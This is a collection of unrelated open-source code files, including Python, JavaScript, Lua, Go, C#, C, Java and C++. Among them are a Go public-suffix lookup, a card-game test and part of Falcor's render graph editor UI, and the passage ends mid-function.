from _pydev_bundle._pydev_completer import (isidentifier, extract_token_and_qualifier,
TokenAndQualifier)
from _pydevd_bundle.pydevd_constants import IS_PY2
def test_isidentifier():
assert isidentifier('abc')
assert not isidentifier('<')
assert not isidentifier('')
if IS_PY2:
# Py3 accepts unicode identifiers
assert not isidentifier('áéíóú')
else:
assert isidentifier('áéíóú')
def test_extract_token_and_qualifier():
assert extract_token_and_qualifier('tok', 0, 0) == TokenAndQualifier('', '')
assert extract_token_and_qualifier('tok', 0, 1) == TokenAndQualifier('', 't')
assert extract_token_and_qualifier('tok', 0, 2) == TokenAndQualifier('', 'to')
assert extract_token_and_qualifier('tok', 0, 3) == TokenAndQualifier('', 'tok')
assert extract_token_and_qualifier('tok', 0, 4) == TokenAndQualifier('', 'tok')
assert extract_token_and_qualifier('tok.qual', 0, 0) == TokenAndQualifier('', '')
assert extract_token_and_qualifier('tok.qual', 0, 1) == TokenAndQualifier('', 't')
assert extract_token_and_qualifier('tok.qual', 0, 2) == TokenAndQualifier('', 'to')
assert extract_token_and_qualifier('tok.qual', 0, 3) == TokenAndQualifier('', 'tok')
assert extract_token_and_qualifier('tok.qual', 0, 4) == TokenAndQualifier('tok', '')
assert extract_token_and_qualifier('tok.qual', 0, 5) == TokenAndQualifier('tok', 'q')
assert extract_token_and_qualifier('tok.qual', 0, 6) == TokenAndQualifier('tok', 'qu')
assert extract_token_and_qualifier('tok.qual', 0, 7) == TokenAndQualifier('tok', 'qua')
assert extract_token_and_qualifier('tok.qual', 0, 8) == TokenAndQualifier('tok', 'qual')
# out of range (column)
assert extract_token_and_qualifier('tok.qual.qual2', 0, 100) == TokenAndQualifier('tok.qual', 'qual2')
assert extract_token_and_qualifier('t<ok', 0, 0) == TokenAndQualifier('', '')
assert extract_token_and_qualifier('t<ok', 0, 1) == TokenAndQualifier('', 't')
assert extract_token_and_qualifier('t<ok', 0, 2) == TokenAndQualifier('', '')
assert extract_token_and_qualifier('t<ok', 0, 3) == TokenAndQualifier('', 'o')
assert extract_token_and_qualifier('t<ok', 0, 4) == TokenAndQualifier('', 'ok')
assert extract_token_and_qualifier('a\nt<ok', 1, 0) == TokenAndQualifier('', '')
assert extract_token_and_qualifier('a\nt<ok', 1, 1) == TokenAndQualifier('', 't')
assert extract_token_and_qualifier('a\nt<ok', 1, 2) == TokenAndQualifier('', '')
assert extract_token_and_qualifier('a\nt<ok', 1, 3) == TokenAndQualifier('', 'o')
assert extract_token_and_qualifier('a\nt<ok', 1, 4) == TokenAndQualifier('', 'ok')
# out of range (line)
assert extract_token_and_qualifier('a\nt<ok', 5, 4) == TokenAndQualifier('', '')
| {
"pile_set_name": "Github"
} |
import Context from './Context'
import React from 'react'
const withContainer = (Component) => {
const ChildComponent = (props) => {
return (
<Context.Consumer>
{({ locale, setLocale }) => {
return <Component locale={locale} setLocale={setLocale} {...props} />
}}
</Context.Consumer>
)
}
return ChildComponent
}
export default withContainer
| {
"pile_set_name": "Github"
} |
local caster = magic_get_caster()
local loc = select_location_with_prompt("Location: ")
magic_casting_fade_effect(caster)
if loc == nil or g_vanish_obj.obj_n == 0 then magic_no_effect() return end
local hit_x, hit_y = map_line_hit_check(caster.x, caster.y, loc.x, loc.y, loc.z)
projectile(0x17f, caster.x, caster.y, hit_x, hit_y, 2)
if hit_x ~= loc.x or hit_y ~= loc.y then magic_blocked() return end
local obj = Obj.new(g_vanish_obj.obj_n, g_vanish_obj.frame_n)
obj.qty = 1
obj.status = 0x21 --OK, TEMP
if map_can_put_obj(loc) == false then
magic_no_effect()
else
Obj.moveToMap(obj, loc)
fade_obj_in(obj)
g_vanish_obj.obj_n = 0
g_vanish_obj.frame_n = 0
magic_success()
end
| {
"pile_set_name": "Github"
} |
// @flow
import Phantom from './phantom';
/**
* Returns a Promise of a new Phantom class instance
* @param args command args to pass to phantom process
* @param [config] configuration object
* @param [config.phantomPath] path to phantomjs executable
* @param [config.logger] object containing functions used for logging
* @param [config.logLevel] log level to apply on the logger (if unset or default)
* @returns {Promise}
*/
function create(args?: string[] = ['--local-url-access=false'], config?: Config): Promise<Phantom> {
return new Promise(resolve => resolve(new Phantom(args, config)));
}
module.exports = { create };
| {
"pile_set_name": "Github"
} |
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package publicsuffix provides a public suffix list based on data from
// http://publicsuffix.org/. A public suffix is one under which Internet users
// can directly register names.
package publicsuffix // import "golang.org/x/net/publicsuffix"
// TODO: specify case sensitivity and leading/trailing dot behavior for
// func PublicSuffix and func EffectiveTLDPlusOne.
import (
"fmt"
"net/http/cookiejar"
"strings"
)
// List implements the cookiejar.PublicSuffixList interface by calling the
// PublicSuffix function.
var List cookiejar.PublicSuffixList = list{}
type list struct{}
func (list) PublicSuffix(domain string) string {
ps, _ := PublicSuffix(domain)
return ps
}
func (list) String() string {
return version
}
// PublicSuffix returns the public suffix of the domain using a copy of the
// publicsuffix.org database compiled into the library.
//
// icann is whether the public suffix is managed by the Internet Corporation
// for Assigned Names and Numbers. If not, the public suffix is privately
// managed. For example, foo.org and foo.co.uk are ICANN domains,
// foo.dyndns.org and foo.blogspot.co.uk are private domains.
//
// Use cases for distinguishing ICANN domains like foo.com from private
// domains like foo.appspot.com can be found at
// https://wiki.mozilla.org/Public_Suffix_List/Use_Cases
func PublicSuffix(domain string) (publicSuffix string, icann bool) {
lo, hi := uint32(0), uint32(numTLD)
s, suffix, wildcard := domain, len(domain), false
loop:
for {
dot := strings.LastIndex(s, ".")
if wildcard {
suffix = 1 + dot
}
if lo == hi {
break
}
f := find(s[1+dot:], lo, hi)
if f == notFound {
break
}
u := nodes[f] >> (nodesBitsTextOffset + nodesBitsTextLength)
icann = u&(1<<nodesBitsICANN-1) != 0
u >>= nodesBitsICANN
u = children[u&(1<<nodesBitsChildren-1)]
lo = u & (1<<childrenBitsLo - 1)
u >>= childrenBitsLo
hi = u & (1<<childrenBitsHi - 1)
u >>= childrenBitsHi
switch u & (1<<childrenBitsNodeType - 1) {
case nodeTypeNormal:
suffix = 1 + dot
case nodeTypeException:
suffix = 1 + len(s)
break loop
}
u >>= childrenBitsNodeType
wildcard = u&(1<<childrenBitsWildcard-1) != 0
if dot == -1 {
break
}
s = s[:dot]
}
if suffix == len(domain) {
// If no rules match, the prevailing rule is "*".
return domain[1+strings.LastIndex(domain, "."):], icann
}
return domain[suffix:], icann
}
const notFound uint32 = 1<<32 - 1
// find returns the index of the node in the range [lo, hi) whose label equals
// label, or notFound if there is no such node. The range is assumed to be in
// strictly increasing node label order.
func find(label string, lo, hi uint32) uint32 {
for lo < hi {
mid := lo + (hi-lo)/2
s := nodeLabel(mid)
if s < label {
lo = mid + 1
} else if s == label {
return mid
} else {
hi = mid
}
}
return notFound
}
// nodeLabel returns the label for the i'th node.
func nodeLabel(i uint32) string {
x := nodes[i]
length := x & (1<<nodesBitsTextLength - 1)
x >>= nodesBitsTextLength
offset := x & (1<<nodesBitsTextOffset - 1)
return text[offset : offset+length]
}
// EffectiveTLDPlusOne returns the effective top level domain plus one more
// label. For example, the eTLD+1 for "foo.bar.golang.org" is "golang.org".
func EffectiveTLDPlusOne(domain string) (string, error) {
suffix, _ := PublicSuffix(domain)
if len(domain) <= len(suffix) {
return "", fmt.Errorf("publicsuffix: cannot derive eTLD+1 for domain %q", domain)
}
i := len(domain) - len(suffix) - 1
if domain[i] != '.' {
return "", fmt.Errorf("publicsuffix: invalid public suffix %q for domain %q", suffix, domain)
}
return domain[1+strings.LastIndex(domain[:i], "."):], nil
}
| {
"pile_set_name": "Github"
} |
file to
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using Xunit;
namespace BetGame.DDZ {
public class GamePlayTest {
[Fact]
public void Create() {
Dictionary<string, GameInfo> db = new Dictionary<string, GameInfo>();
GamePlay.OnGetData = id => db.TryGetValue(id, out var tryout) ? tryout : null;
GamePlay.OnSaveData = (id, d) => {
db.TryAdd(id, d);
};
Assert.Throws<ArgumentException>(() => GamePlay.Create(null, 2, 5));
Assert.Throws<ArgumentException>(() => GamePlay.Create(new[] { "玩家1", "玩家2", "玩家3", "玩家4" }, 2, 5));
Assert.Throws<ArgumentException>(() => GamePlay.Create(new[] { "玩家1", "玩家2" }, 2, 5));
var ddz = GamePlay.Create(new[] { "玩家1", "玩家2", "玩家3" }, 2, 5);
var data = db[ddz.Id];
//洗牌,发牌
Assert.NotNull(ddz);
Assert.NotNull(data);
Assert.Equal(GameStage.未开始, data.stage);
ddz.Shuffle();
Assert.Equal(0, data.bong);
Assert.Empty(data.chupai);
Assert.Equal(3, data.dipai.Length);
Assert.Equal(2, data.multiple);
Assert.Equal(0, data.multipleAddition);
Assert.Equal(5, data.multipleAdditionMax);
Assert.Equal(3, data.players.Count);
Assert.Equal(GamePlayerRole.未知, data.players[0].role);
Assert.Equal(GamePlayerRole.未知, data.players[1].role);
Assert.Equal(GamePlayerRole.未知, data.players[2].role);
Assert.Equal(17, data.players[0].pokerInit.Count);
Assert.Equal(17, data.players[1].pokerInit.Count);
Assert.Equal(17, data.players[2].pokerInit.Count);
Assert.Equal(17, data.players[0].poker.Count);
Assert.Equal(17, data.players[1].poker.Count);
Assert.Equal(17, data.players[2].poker.Count);
Assert.Equal("玩家1", data.players[0].id);
Assert.Equal("玩家2", data.players[1].id);
Assert.Equal("玩家3", data.players[2].id);
Assert.Equal(GameStage.叫地主, data.stage);
//牌是否重复
Assert.Equal(54, data.players[0].poker.Concat(data.players[1].poker).Concat(data.players[2].poker).Concat(data.dipai).Distinct().Count());
//GetById
Assert.Equal(GamePlay.GetById(ddz.Id).Id, ddz.Id);
Assert.Throws<ArgumentException>(() => GamePlay.GetById(null));
Assert.Throws<ArgumentException>(() => GamePlay.GetById(""));
Assert.Throws<ArgumentException>(() => GamePlay.GetById("slkdjglkjsdg"));
//抢地主
Assert.Throws<ArgumentException>(() => ddz.SelectLandlord("玩家10", 1));
Assert.Throws<ArgumentException>(() => ddz.SelectFarmer("玩家10"));
Assert.Throws<ArgumentException>(() => ddz.SelectLandlord(data.players[Math.Min(data.playerIndex + 1, data.players.Count - 1)].id, 1));
Assert.Throws<ArgumentException>(() => ddz.SelectFarmer(data.players[Math.Min(data.playerIndex + 1, data.players.Count - 1)].id));
ddz.SelectLandlord(data.players[data.playerIndex].id, 1);
Assert.Equal(GameStage.叫地主, data.stage);
Assert.Throws<ArgumentException>(() => ddz.SelectLandlord(data.players[data.playerIndex].id, 1));
Assert.Throws<ArgumentException>(() => ddz.SelectLandlord(data.players[data.playerIndex].id, 100));
ddz.SelectLandlord(data.players[data.playerIndex].id, 2);
Assert.Equal(GameStage.叫地主, data.stage);
ddz.SelectLandlord(data.players[data.playerIndex].id, 3);
Assert.Equal(GameStage.叫地主, data.stage);
ddz.SelectFarmer(data.players[data.playerIndex].id);
Assert.Equal(GameStage.叫地主, data.stage);
Assert.Equal(2, data.players.Where(a => a.role == GamePlayerRole.未知).Count());
//以封顶倍数抢得地主
//ddz.SelectLandlord(data.players[data.playerIndex].player, 5);
//两个农民都不抢,由报分的人抢得地主
ddz.SelectFarmer(data.players[data.playerIndex].id);
Assert.Equal(GameStage.斗地主, data.stage);
Assert.Equal(GamePlayerRole.地主, data.players[data.playerIndex].role);
Assert.Equal(2, data.players.Where(a => a.role == GamePlayerRole.农民).Count());
}
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2017 Martin Keppligner <martink@posteo.de>
*
* SPDX-License-Identifier: GPL-2.0+
*/
#ifndef _SDLUTILS_H
#define _SDLUTILS_H
void draw_line(SDL_Renderer *r, int32_t x1, int32_t y1, int32_t x2, int32_t y2);
void draw_crosshair(SDL_Renderer *r, int32_t x, int32_t y);
void getxy(struct tsdev *ts, int *x, int *y);
#endif /* _SDLUTILS_H */
| {
"pile_set_name": "Github"
} |
package com.ofsoft.cms.core.config;
import com.jfinal.render.Render;
public interface RenderFactory {
public Render getJsonRender();
public Render getSykJsonRender(String key, Object value);
public Render getSykJsonRender(String[] attrs);
public Render getSykJsonRender(String jsonText);
public Render getSykJsonRender(Object object);
public Render getSykQrcodeRender(String url);
}
| {
"pile_set_name": "Github"
} |
/***************************************************************************
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of NVIDIA CORPORATION nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS "AS IS" AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**************************************************************************/
#include "stdafx.h"
#include "RenderGraphUI.h"
#include "dear_imgui/imgui.h"
#include "dear_imgui_addons/imguinodegrapheditor/imguinodegrapheditor.h"
#include "dear_imgui/imgui_internal.h"
#include <fstream>
#include "RenderPassLibrary.h"
namespace Falcor
{
const float kUpdateTimeInterval = 2.0f;
const float kPinRadius = 7.0f;
static const float kTimeTillPopup = 2.0f;
static const uint32_t kPinColor = 0xFFFFFFFF;
static const uint32_t kEdgesColor = 0xFFFFFFFF;
static const uint32_t kAutoGenEdgesColor = 0xFFFF0400;
static const uint32_t kAutoResolveEdgesColor = 0xFF0104FF;
static const uint32_t kGraphOutputsColor = 0xAF0101FF;
static const uint32_t kExecutionEdgeColor = 0xFF0AF1FF;
static const std::string kInPrefix = "##inEx_ ";
static const std::string kOutPrefix = "##outEx_";
class RenderGraphUI::NodeGraphEditorGui : public ImGui::NodeGraphEditor
{
public:
NodeGraphEditorGui(RenderGraphUI* pRenderGraphUI) : mpRenderGraphUI(pRenderGraphUI) {}
// call on beginning a new frame
void setCurrentGui(Gui* pGui) { mpGui = pGui; }
Gui* getCurrentGui() const { assert(mpGui); return mpGui; }
void reset() { inited = false; }
float2 getOffsetPos() const { return { offset.x, offset.y }; }
ImGui::NodeLink& getLink(int32_t index) { return links[index]; }
void setLinkColor(uint32_t index, uint32_t col) { links[index].LinkColor = col; }
RenderGraphUI* getRenderGraphUI() { return mpRenderGraphUI; }
void setPopupNode(ImGui::Node* pFocusedNode) { mpFocusedNode = pFocusedNode; }
ImGui::Node* getPopupNode() { return mpFocusedNode; }
void setPopupPin(uint32_t pinIndex, bool isInput)
{
if (ImGui::IsAnyMouseDown())
{
mPopupPinHoverTime = 0.0f;
mPinIndexToDisplay = -1;
}
if ((pinIndex != -1) )//&& pinIndex != mPinIndexToDisplay)
{
std::chrono::system_clock::time_point thisTime = std::chrono::system_clock::now();
float timeDiff = (std::chrono::duration<float>(thisTime - mLastTime)).count();
if(timeDiff < kTimeTillPopup) mPopupPinHoverTime += timeDiff;
mLastTime = thisTime;
if (mPopupPinHoverTime < kTimeTillPopup) return;
}
if (mPopupPinHoverTime >= kTimeTillPopup) mPopupPinHoverTime = 0.0f;
mPinIndexToDisplay = pinIndex; mPopupPinIsInput = isInput;
}
void deselectPopupPin()
{
std::chrono::system_clock::time_point thisTime = std::chrono::system_clock::now();
float timeDiff = (std::chrono::duration<float>(thisTime - mLastTime)).count();
if (timeDiff < kTimeTillPopup) mNothingHoveredTime += timeDiff;
mLastTimeDeselect = thisTime;
if (mNothingHoveredTime >= kTimeTillPopup)
{
mNothingHoveredTime = 0.0f;
mPinIndexToDisplay = static_cast<uint32_t>(-1);
}
}
uint32_t getPopupPinIndex() const { return mPinIndexToDisplay; }
bool isPopupPinInput() const { return mPopupPinIsInput; }
ImGui::Node*& getNodeFromID(uint32_t nodeID) { return mpIDtoNode[nodeID]; }
// wraps around creating link to avoid setting static flag
uint32_t addLinkFromGraph(ImGui::Node* inputNode, int input_slot, ImGui::Node* outputNode, int output_slot, bool checkIfAlreadyPresent = false, ImU32 col = ImColor(200, 200, 100))
{
// tell addLink to call a different callback func
auto oldCallback = linkCallback;
linkCallback = setLinkFromGraph;
bool insert = addLink(inputNode, input_slot, outputNode, output_slot, checkIfAlreadyPresent, col);
linkCallback = oldCallback;
return insert ? (links.size() - 1) : uint32_t(-1);
}
ImGui::Node* addAndInitNode(int nodeType, const std::string& name, const std::string& outputsString, const std::string& inputsString, uint32_t guiNodeID, RenderPass* pCurrentRenderPass, const ImVec2& pos = ImVec2(0, 0));
void setNodeCallbackFunc(NodeCallback cb, void* pUserData)
{
mpCBUserData = pUserData;
setNodeCallback(cb);
}
// callback function defined in derived class definition to access data without making class public to the rest of Falcor
static void setNode(ImGui::Node*& node, ImGui::NodeGraphEditor::NodeState state, ImGui::NodeGraphEditor& editor);
// callback for ImGui setting link between to nodes in the visual interface
static void setLinkFromGui( ImGui::NodeLink& link, ImGui::NodeGraphEditor::LinkState state, ImGui::NodeGraphEditor& editor);
static void setLinkFromGraph( ImGui::NodeLink& link, ImGui::NodeGraphEditor::LinkState state, ImGui::NodeGraphEditor& editor);
static ImGui::Node* createNode(int, const ImVec2& pos, const ImGui::NodeGraphEditor&);
RenderGraphUI* mpRenderGraphUI;
private:
friend class RenderGraphNode;
float mPopupPinHoverTime = 0.0f;
float mNothingHoveredTime = 0.0f;
std::chrono::system_clock::time_point mLastTime = std::chrono::system_clock::now();
std::chrono::system_clock::time_point mLastTimeDeselect = std::chrono::system_clock::now();
Gui* mpGui = nullptr;
void* mpCBUserData = nullptr;
ImGui::Node* mpFocusedNode = nullptr;
uint32_t mPinIndexToDisplay = uint32_t(-1);
bool mPopupPinIsInput = false;
std::unordered_map<uint32_t, ImGui::Node*> mpIDtoNode;
};
class RenderGraphUI::RenderGraphNode : public ImGui::Node
{
public:
bool mDisplayProperties;
bool mOutputPinConnected[IMGUINODE_MAX_OUTPUT_SLOTS];
bool mInputPinConnected[IMGUINODE_MAX_INPUT_SLOTS];
RenderPass* mpRenderPass;
bool pinIsConnected(uint32_t id, bool isInput)
{
assert(isInput ? id < IMGUINODE_MAX_INPUT_SLOTS : id < IMGUINODE_MAX_OUTPUT_SLOTS);
return isInput ? mInputPinConnected[id] : mOutputPinConnected[id];
}
void setPinColor(uint32_t color, uint32_t index, bool isInput = false)
{
if (isInput) inputColors[index] = color;
else outputColors[index] = color;
}
std::string getInputName(uint32_t index)
{
return InputNames[index];
}
std::string getOutputName(uint32_t index)
{
return OutputNames[index];
}
ImGui::FieldInfoVector& getFields()
{
return fields;
}
// Allow the renderGraphUI to set the position of each node
void setPos(const float2& pos)
{
Pos.x = pos.x;
Pos.y = pos.y;
}
float2 getPos()
{
return {Pos.x, Pos.y};
}
// render Gui within the nodes
static bool renderUI(ImGui::FieldInfo& field)
{
// with this library there is no way of modifying the positioning of the labels on the node
// manually making labels to align correctly from within the node
// grab all of the fields again
RenderGraphNode* pCurrentNode = static_cast<RenderGraphNode*>(field.userData);
RenderGraphUI::NodeGraphEditorGui* pGraphEditorGui = static_cast<RenderGraphUI::NodeGraphEditorGui*>(&pCurrentNode->getNodeGraphEditor());
if (pGraphEditorGui->isInited()) return false;
Gui* pGui = pGraphEditorGui->getCurrentGui();
RenderPass* pRenderPass = static_cast<RenderPass*>(pCurrentNode->mpRenderPass);
int32_t paddingSpace = glm::max(pCurrentNode->OutputsCount, pCurrentNode->InputsCount) / 2 + 1;
ImVec2 oldScreenPos = ImGui::GetCursorScreenPos();
ImVec2 currentScreenPos{ pGraphEditorGui->offset.x + pCurrentNode->Pos.x * ImGui::GetCurrentWindow()->FontWindowScale,
pGraphEditorGui->offset.y + pCurrentNode->Pos.y * ImGui::GetCurrentWindow()->FontWindowScale };
ImVec2 pinRectBoundsOffsetx{ -kPinRadius * 2.0f, kPinRadius * 4.0f };
float slotNum = 1.0f;
float pinOffsetx = kPinRadius * 2.0f;
uint32_t pinCount = static_cast<uint32_t>(pCurrentNode->InputsCount);
bool isInputs = true;
std::string dummyText; dummyText.resize(32, ' ');
ImGui::TextUnformatted(dummyText.c_str());
ImGui::TextUnformatted(dummyText.c_str());
ImGui::TextUnformatted(dummyText.c_str());
ImGui::TextUnformatted(dummyText.c_str());
for (int32_t i = 0; i < paddingSpace; ++i)
{
ImGui::TextUnformatted(dummyText.c_str());
}
for (uint32_t j = 0; j < 2; ++j)
{
for (uint32_t i = 0; i < pinCount; ++i)
{
// custom pins as an extension of the built ones
ImVec2 inputPos = currentScreenPos;
inputPos.y += pCurrentNode->Size.y * ((i + 1) / static_cast<float>(pinCount + 1));
ImU32 pinColor = isInputs ? pCurrentNode->inputColors[i] : pCurrentNode->outputColors[i];
// fill in circle for the pin if connected to a link
if (pCurrentNode->pinIsConnected(i, isInputs))
{
ImGui::GetWindowDrawList()->AddCircleFilled(ImVec2(inputPos.x, inputPos.y), kPinRadius,pinColor);
}
if (ImGui::IsMouseHoveringRect(ImVec2(inputPos.x + pinRectBoundsOffsetx.x, inputPos.y - kPinRadius), ImVec2(inputPos.x + pinRectBoundsOffsetx.y, inputPos.y + kPinRadius)))
{
uint32_t hoveredPinColor = (pinColor == kGraphOutputsColor) ? (pinColor | 0xFF000000) : ImGui::GetColorU32(pGraphEditorGui->GetStyle().color_node_title);
ImGui::GetWindowDrawList()->AddCircleFilled(ImVec2(inputPos.x, inputPos.y), kPinRadius, hoveredPinColor);
if (pRenderPass)
{
pGraphEditorGui->setPopupNode(pCurrentNode);
pGraphEditorGui->setPopupPin(i, !static_cast<bool>(j));
}
}
else
{
ImGui::GetWindowDrawList()->AddCircle(ImVec2(inputPos.x, inputPos.y), kPinRadius, pinColor);
}
auto pText = isInputs ? pCurrentNode->InputNames[i] : pCurrentNode->OutputNames[i];
bool drawLabel = !(pText[0] == '#');
if (pinColor == kGraphOutputsColor)
{
ImVec2 arrowPoints[3] = { { inputPos.x + kPinRadius * 3.0f / 2.0f, inputPos.y + kPinRadius },
{ inputPos.x + kPinRadius * 3.0f / 2.0f + kPinRadius, inputPos.y },
{ inputPos.x + kPinRadius * 3.0f / 2.0f, inputPos.y - kPinRadius } };
ImGui::GetWindowDrawList()->AddPolyline(arrowPoints, 3, pinColor, false, 3.0f);
}
else if (!drawLabel && pinColor == kExecutionEdgeColor)
{
// we can draw anything special for execution edge inputs here
}
ImGui::SetCursorScreenPos({ inputPos.x + pinOffsetx - ((pinOffsetx < 0.0f) ? ImGui::CalcTextSize(isInputs ? pCurrentNode->InputNames[i] : pCurrentNode->OutputNames[i]).x : 0.0f), inputPos.y - kPinRadius });
slotNum++;
if (drawLabel) ImGui::TextUnformatted(pText);
}
// reset and set up offsets for the output pins
slotNum = 1.0f;
currentScreenPos.x += pCurrentNode->Size.x;
pinOffsetx *= -1.0f;
pinRectBoundsOffsetx.y = kPinRadius;
pinCount = static_cast<uint32_t>(pCurrentNode->OutputsCount);
isInputs = false;
}
ImGui::SetCursorScreenPos(oldScreenPos);
for (int32_t i = 0; i < paddingSpace; ++i)
{
ImGui::TextUnformatted(dummyText.c_str());
}
ImGui::TextUnformatted(dummyText.c_str());
return false;
}
void initialize(const std::string& name, const std::string& outputsString,
const std::string& inputsString, uint32_t guiNodeID, RenderPass* pRenderPass)
{
init(name.c_str(), Pos, inputsString.c_str(), outputsString.c_str(), guiNodeID);
if (pRenderPass)
{
mpRenderPass = pRenderPass;
const float4 nodeColor = Gui::pickUniqueColor(pRenderPass->getName());
overrideTitleBgColor = ImGui::GetColorU32({ nodeColor.x, nodeColor.y, nodeColor.z, nodeColor.w });
}
bool isInputs = true;
uint32_t pinCount = static_cast<uint32_t>(InputsCount);
for (uint32_t j = 0; j < 2; ++j)
{
for (uint32_t i = 0; i < pinCount; ++i)
{
if (isInputs) inputColors[i] = ImColor(150, 150, 150, 150);
else outputColors[i] = ImColor(150, 150, 150, 150);
}
pinCount = static_cast<uint32_t>(OutputsCount);
isInputs = false;
}
}
static RenderGraphNode* create(const ImVec2& pos)
{
RenderGraphNode* node = (RenderGraphNode*)ImGui::MemAlloc(sizeof(RenderGraphNode));
IM_PLACEMENT_NEW(node) RenderGraphNode();
node->fields.addFieldCustom(static_cast<ImGui::FieldInfo::RenderFieldDelegate>(renderUI), nullptr, node);
node->Pos = pos;
return node;
}
private:
};
ImGui::Node* RenderGraphUI::NodeGraphEditorGui::addAndInitNode(int nodeType, const std::string& name,
const std::string& outputsString, const std::string& inputsString, uint32_t guiNodeID,
RenderPass* pCurrentRenderPass, const ImVec2& pos)
{
// set init data for new node to obtain
RenderGraphNode* newNode = static_cast<RenderGraphNode*>(addNode(nodeType, pos, nullptr));
newNode->initialize(name, outputsString, inputsString, guiNodeID, pCurrentRenderPass);
return newNode;
}
void RenderGraphUI::NodeGraphEditorGui::setLinkFromGui(ImGui::NodeLink& link, ImGui::NodeGraphEditor::LinkState state, ImGui::NodeGraphEditor& editor)
{
if (state == ImGui::NodeGraphEditor::LinkState::LS_ADDED)
{
RenderGraphNode* inputNode = static_cast<RenderGraphNode*>(link.InputNode),
*outputNode = static_cast<RenderGraphNode*>(link.OutputNode);
RenderGraphUI::NodeGraphEditorGui* pGraphEditorGui = static_cast<RenderGraphUI::NodeGraphEditorGui*>(&editor);
bool addStatus = false;
std::string outputName = inputNode->getOutputName(link.InputSlot);
addStatus = pGraphEditorGui->getRenderGraphUI()->addLink(
inputNode->getName(), outputNode->getName(), outputName, outputNode->getInputName(link.OutputSlot), link.LinkColor);
// immediately remove link if it is not a legal edge in the render graph
if (!addStatus && !editor.isInited()) // only call after graph is setup
{
// does not call link callback surprisingly enough
editor.removeLink(link.InputNode, link.InputSlot, link.OutputNode, link.OutputSlot);
return;
}
if (outputName[0] == '#')
{
static_cast<RenderGraphNode*>(link.InputNode)->setPinColor(link.LinkColor, link.InputSlot, false);
static_cast<RenderGraphNode*>(link.OutputNode)->setPinColor(link.LinkColor, link.OutputSlot, true);
}
}
}
// callback for ImGui setting link from render graph changes
void RenderGraphUI::NodeGraphEditorGui::setLinkFromGraph(ImGui::NodeLink& link, ImGui::NodeGraphEditor::LinkState state, ImGui::NodeGraphEditor& editor)
{
if (state == ImGui::NodeGraphEditor::LinkState::LS_ADDED)
{
bool addStatus = false;
// immediately remove link if it is not a legal edge in the render graph
if (!addStatus && !editor.isInited()) // only call after graph is setup
{
// does not call link callback surprisingly enough
editor.removeLink(link.InputNode, link.InputSlot, link.OutputNode, link.OutputSlot);
return;
}
}
}
ImGui::Node* RenderGraphUI::NodeGraphEditorGui::createNode(int, const ImVec2& pos, const ImGui::NodeGraphEditor&)
{
return RenderGraphUI::RenderGraphNode::create(pos);
}
void RenderGraphUI::addRenderPass(const std::string& name, const std::string& nodeTypeName)
{
mpIr->addPass(nodeTypeName, name);
mShouldUpdate = true;
}
void RenderGraphUI::addOutput(const std::string& outputParam)
{
size_t offset = outputParam.find('.');
std::string outputPass = outputParam.substr(0, offset);
std::string outputField = outputParam.substr(offset + 1, outputParam.size());
const auto passUIIt = mRenderPassUI.find(outputPass);
if (passUIIt == mRenderPassUI.end())
{
msgBox("Error setting graph output. Can't find node name.");
return;
}
auto& passUI = passUIIt->second;
const auto outputIt = passUI.mNameToIndexOutput.find(outputField);
if (outputIt == passUI.mNameToIndexOutput.end())
{
msgBox("Error setting graph output. Can't find output name.");
return;
}
passUI.mOutputPins[outputIt->second].mIsGraphOutput = true;
mpIr->markOutput(outputParam);
mRebuildDisplayData = true;
mShouldUpdate = true;
}
void RenderGraphUI::addOutput(const std::string& outputPass, const std::string& outputField)
{
std::string outputParam = outputPass + "." + outputField;
addOutput(outputParam);
}
void RenderGraphUI::removeOutput(const std::string& outputPass, const std::string& outputField)
{
std::string outputParam = outputPass + "." + outputField;
mpIr->unmarkOutput(outputParam);
auto& passUI = mRenderPassUI[outputPass];
passUI.mOutputPins[passUI.mNameToIndexOutput[outputField]].mIsGraphOutput = false;
mShouldUpdate = true;
}
bool RenderGraphUI::autoResolveWarning(const std::string& srcString, const std::string& dstString)
{
std::string warningMsg = std::string("Warning: Edge ") + srcString + " - " + dstString + " can auto-resolve.\n";
MsgBoxButton button = msgBox(warningMsg, MsgBoxType::OkCancel);
if (button == MsgBoxButton::Ok)
{
mLogString += warningMsg;
return true;
}
return false;
}
bool RenderGraphUI::addLink(const std::string& srcPass, const std::string& dstPass, const std::string& srcField, const std::string& dstField, uint32_t& color)
{
// outputs warning if edge could not be created
std::string srcString = srcPass + (srcField[0] == '#' ? "" : ".") + srcField;
std::string dstString = dstPass + (dstField[0] == '#' ? "" : ".") + dstField;
bool canCreateEdge = (mpRenderGraph->getEdge(srcString, dstString) == ((uint32_t)-1));
if (!canCreateEdge) return canCreateEdge;
// update the ui to reflect the connections. This data is used for removal
RenderPassUI& srcRenderPassUI = mRenderPassUI[srcPass];
RenderPassUI& dstRenderPassUI = mRenderPassUI[dstPass];
const auto outputIt = srcRenderPassUI.mNameToIndexOutput.find(srcField);
